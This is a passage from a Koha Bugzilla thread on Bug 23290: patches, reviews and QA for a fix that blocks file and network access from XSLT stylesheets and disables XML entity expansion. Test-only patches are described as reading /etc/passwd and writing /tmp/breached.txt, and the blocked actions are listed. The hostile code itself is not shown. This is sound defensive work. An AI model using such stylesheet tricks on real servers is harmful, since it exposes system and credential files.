Ensure that t/db_dependent/XSLT_Handler.t still passes.

Signed-off-by: Marcel de Rooy <m.de.rooy@rijksmuseum.nl>

Signed-off-by: David Cook <dcook@prosentient.com.au>
Comment 63 David Cook 2019-12-16 02:31:18 UTC
Created attachment 96302 [details] [review]
Bug 23290: Allow enabling expand_entities

Since libxml2 disables it now by default, we need to enable it for testing.

Signed-off-by: Marcel de Rooy <m.de.rooy@rijksmuseum.nl>

Signed-off-by: David Cook <dcook@prosentient.com.au>
Comment 64 David Cook 2019-12-16 02:31:22 UTC
Created attachment 96303 [details] [review]
Bug 23290: Add test Koha/XSLT/Security.t

Test plan:
Run it!

Signed-off-by: Marcel de Rooy <m.de.rooy@rijksmuseum.nl>

Signed-off-by: David Cook <dcook@prosentient.com.au>
Comment 65 David Cook 2019-12-16 02:31:26 UTC
Created attachment 96304 [details] [review]
Bug 23290: Add test for write_net

Test plan:
Run t/db_dependent/Koha/XSLT/Security.t

Signed-off-by: Marcel de Rooy <m.de.rooy@rijksmuseum.nl>

Signed-off-by: David Cook <dcook@prosentient.com.au>
Comment 66 David Cook 2019-12-16 02:34:48 UTC
Looks good, Marcel!

Thanks for all your help on this one.
Comment 67 Marcel de Rooy 2019-12-16 09:41:38 UTC
(In reply to David Cook from comment #65)
> Signed-off-by: David Cook <dcook@prosentient.com.au>

Thx David
Comment 68 David Cook 2019-12-17 06:42:32 UTC
(In reply to Marcel de Rooy from comment #67)
> (In reply to David Cook from comment #65)
> > Signed-off-by: David Cook <dcook@prosentient.com.au>
> 
> Thx David

My apologies for all the delays!
Comment 69 Jonathan Druart 2020-01-10 11:09:18 UTC
+package Koha::XSLT_Handler;
+# This is just a stub; will be removed later on

Can you explain?

Also, why should we use implicit err codes? XSLTH_ERR_1
Let use XSLTH_ERR_NO_FILE directly
Comment 70 Marcel de Rooy 2020-01-10 11:16:49 UTC
(In reply to Jonathan Druart from comment #69)
> +package Koha::XSLT_Handler;
> +# This is just a stub; will be removed later on
> 
> Can you explain?
To keep it smaller, I postponed that housekeeping to a followup report. See dependencies.

> 
> Also, why should we use implicit err codes? XSLTH_ERR_1
> Let use XSLTH_ERR_NO_FILE directly
Just moving existing codes from A to B here. (Although I created it once ;)
This is not the scope of this report.
Comment 71 Jonathan Druart 2020-01-10 11:23:11 UTC
* Koha/XSLT/Base.pm:use constant XSLTH_ERR_2    => 'XSLTH_ERR_FILE_NOT_FOUND';
Koha/XSLT_Handler.pm:use constant XSLTH_ERR_2    => 'XSLTH_ERR_FILE_NOT_FOUND';

Defined in 2 places?

* register_callbacks has warns, is that expected?

* I do not understand why the original patch became that complex, as we are in security, not refactoring. Not blocker however I guess.

* Is the test plan from comment 3 still complete?
Comment 72 Marcel de Rooy 2020-01-10 11:26:44 UTC
(In reply to Jonathan Druart from comment #71)
> * Koha/XSLT/Base.pm:use constant XSLTH_ERR_2    =>
> 'XSLTH_ERR_FILE_NOT_FOUND';
> Koha/XSLT_Handler.pm:use constant XSLTH_ERR_2    =>
> 'XSLTH_ERR_FILE_NOT_FOUND';
> 
> Defined in 2 places?
Same as above.

> * register_callbacks has warns, is that expected?
> 
> * I do not understand why the original patch became that complex, as we are
> in security, not refactoring. Not blocker however I guess.
> 
> * Is the test plan from comment 3 still complete?
Complex is not the right word; this code extraction seems simpler?
Not sure what you mean about the test plan.
Comment 73 Jonathan Druart 2020-01-10 11:38:19 UTC
(In reply to Marcel de Rooy from comment #72)
> Not sure what you mean about the test plan.

How do we test the patch set?
Comment 74 Marcel de Rooy 2020-01-17 10:34:11 UTC
Bug 24313 (Always display XSLT errors in logs) makes the security test fail now. Will add a follow-up for the additional runtime error.
Comment 75 Marcel de Rooy 2020-01-17 11:28:26 UTC
(In reply to Jonathan Druart from comment #73)
> (In reply to Marcel de Rooy from comment #72)
> > Not sure what you mean about the test plan.
> 
> How do we test the patch set?

Will be adding a follow-up to refine patch 5 (allow enabling).
Will be adding a follow-up to fix the test.
Will be adding two example patches to allow testing bad behavior.

Sending them very soon.
Comment 76 Marcel de Rooy 2020-01-20 08:35:59 UTC
Created attachment 97606 [details] [review]
[DO_NOT_PUSH] Hack MARC21slim2intranetDetail.xsl

Let's print etc/passwd on the detail page (only for staff :)

Note that this does not generate a log entry but depending on your LibXML
version, your koha-config variable koha_xslt_security and applying the
follow-up "Disable expand entities unless explicitly enabled", the contents
of your /etc/passwd may be visible on the staff detail page.

When you applied all patches, the only way to get the passwd info on the
form should be to enable expand_entities in koha-conf as shown below.
Obviously, this is not recommended. By default, this setting is disabled
even when missing in koha-conf.

    <koha_xslt_security>
        <expand_entities>1</expand_entities>
    </koha_xslt_security>
Comment 77 Marcel de Rooy 2020-01-20 08:36:03 UTC
Created attachment 97607 [details] [review]
[DO_NOT_PUSH] Add a write_file in intranetDetail too

If you only apply the two examples patches (this one and the former), you
should not have a warning on write_file in your logs but instead the xslt
should have created a file /tmp/breached.txt.

If you have all patches and you removed the breached.txt file, this hack
should only generate log entries like below. The breached file should not
be created again. The output of the detail page should be minimal, since
the stylesheet does not return its normal contents.

    write_file called in XML::LibXSLT at /usr/share/koha/Koha/XSLT/Security.pm line 93.
    XSLT::Base: runtime error: file /usr/share/koha/koha-tmpl/intranet-tmpl/prog/en/xslt/MARC21slim2intranetDetail.xsl element document
    File write for /tmp/breached.txt refused
    runtime error: file /usr/share/koha/koha-tmpl/intranet-tmpl/prog/en/xslt/MARC21slim2intranetDetail.xsl element document
    xsltDocumentElem: write rights for file:///tmp/breached.txt denied at /usr/share/koha/Koha/XSLT/Base.pm line 228.
Comment 78 Marcel de Rooy 2020-01-20 08:38:25 UTC
Created attachment 97608 [details] [review]
Bug 23290: XSLT system preferences allow administrators to exploit XML and XSLT vulnerabilities

The problem is that administrators can provide XSLTs that
can read from the server and network and write to the server. The

This patch prevents the Koha::XSLT_Handler from running
XSLT stylesheets that call actions such as read_file, write_file,
read_net, and write_net as documented at
https://metacpan.org/pod/XML::LibXSLT#XML::LibXSLT::Security

(Previous tests suggested issues with XML external entities
causing read file like vulnerabilities but these were not
reproducible)

Signed-off-by: Marcel de Rooy <m.de.rooy@rijksmuseum.nl>
Comment 79 Marcel de Rooy 2020-01-20 08:38:31 UTC
Created attachment 97609 [details] [review]
Bug 23290: Rename XSLT_Handler

This is just a git move. Cannot be tested. (Easier for QA.)
The next patch adjusts paths etc. in the module.

Signed-off-by: Marcel de Rooy <m.de.rooy@rijksmuseum.nl>

Signed-off-by: David Cook <dcook@prosentient.com.au>
Comment 80 Marcel de Rooy 2020-01-20 08:38:35 UTC
Created attachment 97610 [details] [review]
Bug 23290: Introduce Koha::XSLT::Security

Also adds a temporary stub for Koha::XSLT_Handler referring to Base.
This will be removed later.

Test plan:
Run t/db_dependent/XSLT_Handler.t

Signed-off-by: Marcel de Rooy <m.de.rooy@rijksmuseum.nl>

Signed-off-by: David Cook <dcook@prosentient.com.au>
Comment 81 Marcel de Rooy 2020-01-20 08:38:40 UTC
Created attachment 97611 [details] [review]
Bug 23290: Apply the changes in Security to Base now

Until now Base did not yet use Security. The security lines are removed
from Base here by calls to Security.
A new test must be added still.

Test plan:
Ensure that t/db_dependent/XSLT_Handler.t still passes.

Signed-off-by: Marcel de Rooy <m.de.rooy@rijksmuseum.nl>

Signed-off-by: David Cook <dcook@prosentient.com.au>
Comment 82 Marcel de Rooy 2020-01-20 08:38:44 UTC
Created attachment 97612 [details] [review]
Bug 23290: Allow enabling expand_entities

Since libxml2 disables it now by default, we need to enable it for testing.

Signed-off-by: Marcel de Rooy <m.de.rooy@rijksmuseum.nl>

Signed-off-by: David Cook <dcook@prosentient.com.au>
Comment 83 Marcel de Rooy 2020-01-20 08:38:49 UTC Comment hidden (obsolete)
Comment 84 Marcel de Rooy 2020-01-20 08:38:53 UTC Comment hidden (obsolete)
Comment 85 Marcel de Rooy 2020-01-20 08:38:58 UTC Comment hidden (obsolete)
Comment 86 Marcel de Rooy 2020-01-20 08:39:03 UTC Comment hidden (obsolete)
Comment 87 Marcel de Rooy 2020-01-20 12:10:36 UTC
Created attachment 97617 [details] [review]
Bug 23290: (follow-up) Disable expand_entities unless explicitly enabled

This follow-up refines the change made in the former patch.

See also
https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=838097
https://rt.cpan.org/Public/Bug/Display.html?id=118032

We do not want to depend now on the exact LibXML version, so we will
disable expand_entities unless it is explicitly enabled via the config
variable koha_xslt_security. (Allowing us to test if bad things will be
caught.)

The options key is now always added to the Security object.
The return from set_parser_options has been removed to allow disabling when
there is no koha-conf entry (which probably is the normal situation).

Test plan:
[1] Test the first example patch with and without the other patches (excl.
    the second example). Toggle expand_entities in koha-conf. Restart
    Plack and flush the cache each time. Evaluate results with the
    commit message of first example.
[2] Test both example patches with/without other patches.
    Toggle expand_entities. Restart etc. Evaluate results with commit
    message of second example (check tmp/breached.txt).

Signed-off-by: Marcel de Rooy <m.de.rooy@rijksmuseum.nl>
Comment 88 Marcel de Rooy 2020-01-20 12:10:41 UTC
Created attachment 97618 [details] [review]
Bug 23290: Add test Koha/XSLT/Security.t

Test plan:
Run it!

Signed-off-by: Marcel de Rooy <m.de.rooy@rijksmuseum.nl>

Signed-off-by: David Cook <dcook@prosentient.com.au>
Comment 89 Marcel de Rooy 2020-01-20 12:10:46 UTC
Created attachment 97619 [details] [review]
Bug 23290: Add test for write_net

Test plan:
Run t/db_dependent/Koha/XSLT/Security.t

Signed-off-by: Marcel de Rooy <m.de.rooy@rijksmuseum.nl>

Signed-off-by: David Cook <dcook@prosentient.com.au>
Comment 90 Marcel de Rooy 2020-01-20 12:10:54 UTC
Created attachment 97620 [details] [review]
Bug 23290: (follow-up) Replace warning_like by warnings_like

Security.t does not pass anymore ;)
Due to bug 23290 the tests now trigger an additional runtime error that
we should also catch to let the tests pass again.

Test plan:
Run t/db_dependent/Koha/XSLT/Security.t

Signed-off-by: Marcel de Rooy <m.de.rooy@rijksmuseum.nl>
Comment 91 Marcel de Rooy 2020-01-20 12:13:27 UTC
(In reply to Marcel de Rooy from comment #75)
> (In reply to Jonathan Druart from comment #73)
> > (In reply to Marcel de Rooy from comment #72)
> > > Not sure what you mean about the test plan.
> > 
> > How do we test the patch set?
> 
> Will be adding a follow-up to refine patch 5 (allow enabling).
> Will be adding a follow-up to fix the test.
> Will be adding two example patches to allow testing bad behavior.
> 
> Sending them very soon.

Done.
What to test? See also test plan of patch 6, the new follow-up which also refers to the two added example patches and their commit messages.
For patch 7-9, run the new test.
Comment 92 Marcel de Rooy 2020-01-20 12:17:57 UTC
Note for QA, RM/RMaint:
Will add a specific (squashed) patch for backporting that does not contain the move to Koha::XSLT::Base.
Comment 93 David Cook 2020-01-20 23:42:50 UTC
(In reply to Marcel de Rooy from comment #82)
> Since libxml2 disables it now by default, we need to enable it for testing.
> 

I think that's just a patched libxml2 for Debian/Ubuntu though, so people running other distros should be mindful that it may not be disabled by default on their systems. 

(Just writing this here in case people running other distros find this bug report.)
Comment 94 Marcel de Rooy 2020-01-21 07:57:46 UTC
(In reply to David Cook from comment #93)
> (In reply to Marcel de Rooy from comment #82)
> > Since libxml2 disables it now by default, we need to enable it for testing.
> > 
> 
> I think that's just a patched libxml2 for Debian/Ubuntu though, so people
> running other distros should be mindful that it may not be disabled by
> default on their systems. 
> 
> (Just writing this here in case people running other distros find this bug
> report.)

See also the follow-up Disable expand_entities to make it disabled by default.
Comment 95 Jonathan Druart 2020-01-24 11:12:57 UTC
1. With all the patches applied, if I set the flag in config, I do not recreate the issue. What am I missing?

2. Should not we have koha_xslt_security in etc/config.xml?

3. "koha_xslt_security > expand_entities" does not read as "unsecure", and one could want to turn it on reading "security => 1"

4. % time prove t/db_dependent/Koha/XSLT/Security.t
t/db_dependent/Koha/XSLT/Security.t .. ok 
All tests successful.
Files=1, Tests=7, 20 wallclock secs ( 0.02 usr  0.01 sys +  0.36 cusr  0.06 csys =  0.45 CPU)

That's super slow, why that?

5. comment 92
I am not confident with having 2 versions of this patch (one for master and one for stables). What if we found a bug we need to quick fix once it's released?
What would be a plan for release? We still do not have the version for stable.
Comment 96 Marcel de Rooy 2020-01-24 11:34:35 UTC
Created attachment 97871 [details] [review]
Bug 23290: [RMaint version] Mitigate XML/XSLT vulnerabilities

This is a squashed version for backporting to stable branches.
IMPORTANT: It does not move XSLT_Handler to XSLT/Base as in master.
Comment 97 Marcel de Rooy 2020-01-24 11:35:29 UTC
Will address the other questions soon. I had this version already but didnt want to complicate things ;)
Comment 98 Marcel de Rooy 2020-01-27 13:56:13 UTC
(In reply to Jonathan Druart from comment #95)
> 1. With all the patches applied, if I set the flag in config, I do not
> recreate the issue. What am I missing?
This might depend on your system too. But also note that you should restart Plack and flush the cache. And if you applied all patches, you should only miss the XSLT detail block on the detail page. Since you still see buttons and items, you might miss missing the stuff in between..

> 2. Should not we have koha_xslt_security in etc/config.xml?
We do not need it at this moment. But I will post it to the subsequent report to add at least a commented entry.

> 3. "koha_xslt_security > expand_entities" does not read as "unsecure", and
> one could want to turn it on reading "security => 1"
Good point. Will do some renaming in a follow-up.

> 4. % time prove t/db_dependent/Koha/XSLT/Security.t
> t/db_dependent/Koha/XSLT/Security.t .. ok 
> All tests successful.
> Files=1, Tests=7, 20 wallclock secs ( 0.02 usr  0.01 sys +  0.36 cusr  0.06
> csys =  0.45 CPU)
> 
> That's super slow, why that?
Not sure. Something at your side? See here:
Files=1, Tests=7,  0 wallclock secs ( 0.03 usr  0.00 sys +  0.42 cusr  0.05 csys =  0.50 CPU)
Zero wallclock seconds.

> 5. comment 92
> I am not confident with having 2 versions of this patch (one for master and
> one for stables). What if we found a bug we need to quick fix once it's
> released?
> What would be a plan for release? We still do not have the version for
> stable.
The change between the RMaint version and the dev patches is so small that I am not afraid for that.
Comment 99 Marcel de Rooy 2020-01-27 14:09:58 UTC
Created attachment 97978 [details] [review]
Bug 23290: (QA follow-up) Rename option to expand_entities_unsafe

When you enable options marked as unsafe, we hope that you know what
you are doing. You should, while having access to koha-conf.xml.

Test plan:
Verify that Security.t still passes.

Signed-off-by: Marcel de Rooy <m.de.rooy@rijksmuseum.nl>
Comment 100 Marcel de Rooy 2020-01-27 14:14:15 UTC
Created attachment 97980 [details] [review]
Bug 23290: [RMaint version] Mitigate XML/XSLT vulnerabilities

This is a squashed version for backporting to stable branches.
IMPORTANT: It does not move XSLT_Handler to XSLT/Base as in master.
Comment 101 Martin Renvoize 2020-02-04 14:26:57 UTC
Created attachment 98397 [details] [review]
Bug 23290: XSLT system preferences allow administrators to exploit XML and XSLT vulnerabilities

The problem is that administrators can provide XSLTs that
can read from the server and network and write to the server. The

This patch prevents the Koha::XSLT_Handler from running
XSLT stylesheets that call actions such as read_file, write_file,
read_net, and write_net as documented at
https://metacpan.org/pod/XML::LibXSLT#XML::LibXSLT::Security

(Previous tests suggested issues with XML external entities
causing read file like vulnerabilities but these were not
reproducible)

Signed-off-by: Marcel de Rooy <m.de.rooy@rijksmuseum.nl>
Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com>
Comment 102 Martin Renvoize 2020-02-04 14:27:01 UTC
Created attachment 98398 [details] [review]
Bug 23290: Rename XSLT_Handler

This is just a git move. Cannot be tested. (Easier for QA.)
The next patch adjusts paths etc. in the module.

Signed-off-by: Marcel de Rooy <m.de.rooy@rijksmuseum.nl>
Signed-off-by: David Cook <dcook@prosentient.com.au>
Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com>
Comment 103 Martin Renvoize 2020-02-04 14:27:06 UTC
Created attachment 98399 [details] [review]
Bug 23290: Introduce Koha::XSLT::Security

Also adds a temporary stub for Koha::XSLT_Handler referring to Base.
This will be removed later.

Test plan:
Run t/db_dependent/XSLT_Handler.t

Signed-off-by: Marcel de Rooy <m.de.rooy@rijksmuseum.nl>
Signed-off-by: David Cook <dcook@prosentient.com.au>
Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com>
Comment 104 Martin Renvoize 2020-02-04 14:27:10 UTC
Created attachment 98400 [details] [review]
Bug 23290: Apply the changes in Security to Base now

Until now Base did not yet use Security. The security lines are removed
from Base here by calls to Security.
A new test must be added still.

Test plan:
Ensure that t/db_dependent/XSLT_Handler.t still passes.

Signed-off-by: Marcel de Rooy <m.de.rooy@rijksmuseum.nl>
Signed-off-by: David Cook <dcook@prosentient.com.au>
Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com>
Comment 105 Martin Renvoize 2020-02-04 14:27:14 UTC
Created attachment 98401 [details] [review]
Bug 23290: Allow enabling expand_entities

Since libxml2 disables it now by default, we need to enable it for testing.

Signed-off-by: Marcel de Rooy <m.de.rooy@rijksmuseum.nl>
Signed-off-by: David Cook <dcook@prosentient.com.au>
Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com>
Comment 106 Martin Renvoize 2020-02-04 14:27:18 UTC
Created attachment 98402 [details] [review]
Bug 23290: (follow-up) Disable expand_entities unless explicitly enabled

This follow-up refines the change made in the former patch.

See also
https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=838097
https://rt.cpan.org/Public/Bug/Display.html?id=118032

We do not want to depend now on the exact LibXML version, so we will
disable expand_entities unless it is explicitly enabled via the config
variable koha_xslt_security. (Allowing us to test if bad things will be
caught.)

The options key is now always added to the Security object.
The return from set_parser_options has been removed to allow disabling when
there is no koha-conf entry (which probably is the normal situation).

Test plan:
[1] Test the first example patch with and without the other patches (excl.
    the second example). Toggle expand_entities in koha-conf. Restart
    Plack and flush the cache each time. Evaluate results with the
    commit message of first example.
[2] Test both example patches with/without other patches.
    Toggle expand_entities. Restart etc. Evaluate results with commit
    message of second example (check tmp/breached.txt).

Signed-off-by: Marcel de Rooy <m.de.rooy@rijksmuseum.nl>
Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com>
Comment 107 Martin Renvoize 2020-02-04 14:27:22 UTC
Created attachment 98403 [details] [review]
Bug 23290: Add test Koha/XSLT/Security.t

Test plan:
Run it!

Signed-off-by: Marcel de Rooy <m.de.rooy@rijksmuseum.nl>
Signed-off-by: David Cook <dcook@prosentient.com.au>
Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com>
Comment 108 Martin Renvoize 2020-02-04 14:27:26 UTC
Created attachment 98404 [details] [review]
Bug 23290: Add test for write_net

Test plan:
Run t/db_dependent/Koha/XSLT/Security.t

Signed-off-by: Marcel de Rooy <m.de.rooy@rijksmuseum.nl>
Signed-off-by: David Cook <dcook@prosentient.com.au>
Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com>
Comment 109 Martin Renvoize 2020-02-04 14:27:31 UTC
Created attachment 98405 [details] [review]
Bug 23290: (follow-up) Replace warning_like by warnings_like

Security.t does not pass anymore ;)
Due to bug 23290 the tests now trigger an additional runtime error that
we should also catch to let the tests pass again.

Test plan:
Run t/db_dependent/Koha/XSLT/Security.t

Signed-off-by: Marcel de Rooy <m.de.rooy@rijksmuseum.nl>
Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com>
Comment 110 Martin Renvoize 2020-02-04 14:27:35 UTC
Created attachment 98406 [details] [review]
Bug 23290: (QA follow-up) Rename option to expand_entities_unsafe

When you enable options marked as unsafe, we hope that you know what
you are doing. You should, while having access to koha-conf.xml.

Test plan:
Verify that Security.t still passes.

Signed-off-by: Marcel de Rooy <m.de.rooy@rijksmuseum.nl>
Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com>
Comment 111 Martin Renvoize 2020-02-04 14:28:22 UTC
All works as expected to me and reads well.. thanks for working on this guys..

Passing QA.. lets not hold it up any longer.
Comment 112 David Cook 2020-02-05 00:33:44 UTC
Yay!
Comment 113 Joy Nelson 2020-02-20 23:39:24 UTC
Am I correct in assuming that all I need to do for the 19.11 release is apply Marcel's [RMaint version] patch?  Let me know if others are required and I can apply those as well.

joy
p.s. thanks marcel!
Comment 114 Marcel de Rooy 2020-02-21 07:16:23 UTC
(In reply to Joy Nelson from comment #113)
> Am I correct in assuming that all I need to do for the 19.11 release is
> apply Marcel's [RMaint version] patch?  Let me know if others are required
> and I can apply those as well.
> 
> joy
> p.s. thanks marcel!

Yes, you only need the RMaint patch.
Comment 115 Martin Renvoize 2020-02-25 13:44:55 UTC
Nice work everyone!

Pushed to master for 20.05
Comment 116 Marcel de Rooy 2020-02-25 13:57:34 UTC
(In reply to Martin Renvoize from comment #115)
> Nice work everyone!
> 
> Pushed to master for 20.05

Thx Martin. Will start on the follow-up very soon.
Comment 117 Martin Renvoize 2020-02-25 14:35:56 UTC
Created attachment 99587 [details] [review]
Bug 23290: (RM follow-up) Correction to copyright statement

We have updated our copyright statements now ;)

Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com>